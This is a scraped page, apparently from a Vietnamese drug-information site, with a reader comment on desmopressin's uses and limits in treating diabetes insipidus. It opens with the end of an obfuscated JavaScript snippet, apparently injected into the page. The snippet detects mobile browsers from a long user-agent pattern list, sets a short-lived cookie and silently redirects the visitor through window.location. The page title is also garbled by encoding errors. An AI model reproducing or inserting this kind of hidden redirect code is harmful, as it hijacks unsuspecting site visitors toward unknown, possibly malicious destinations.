)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Web Comments

One thought on “DESMOPRESSIN Cha��ng la�?i nia��u

  1. Huỳnh Kiều says:

    Tracuuthuoctay chia sẻ bài viết  DESMOPRESSIN Chống lợi niệulà gì? giá thuốc bao nhiêu? chỉ định, cách sử dụng, tác dụng phụ thuốc DESMOPRESSINDesmopressin được dùng để dự phòng hay kiểm soát hiện tượng đái nhiều, uống nhiều, và mất nước đi kèm với bệnh đái tháo nhạt do thiếu vasopressin (hormon chống lợi niệu) của thùy sau tuyến yên (bệnh đái tháo nhạt do thùy sau tuyến yên); đồng thời được dùng để điều trị hiện tượng đái nhiều và uống nhiều nhất thời do chấn thương hay phẫu thuật vùng tuyến yên. Do hiệu quả của nó, với ưu điểm dễ dùng, thời gian tác dụng dài và tương đối ít tác dụng phụ, desmopressin là thuốc được chọn dùng trong bệnh đái tháo nhạt do trung ương. Ðể chỉ định cho trẻ em, người ta ưa dùng desmopressin hơn dùng vasopressin tiêm và các thuốc chống lợi niệu uống do hay gặp tác dụng không mong muốn của các thuốc này ở trẻ em. Trẻ em thường đáp ứng tốt với điều trị bằng desmopressin.Desmopressin không có tác dụng trong điều trị đái tháo nhạt do thận hay trường hợp đái nhiều do đái tháo nhạt tâm thần, bệnh thận, hạ kali huyết, tăng calci huyết, hoặc trường hợp dùng demeclocyclin hay lithi.
    #DESMOPRESSIN , #thuocDESMOPRESSIN #tracuuthuoctay, #yduoc, #nhathuoc

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Facebook Comments

%d bloggers like this: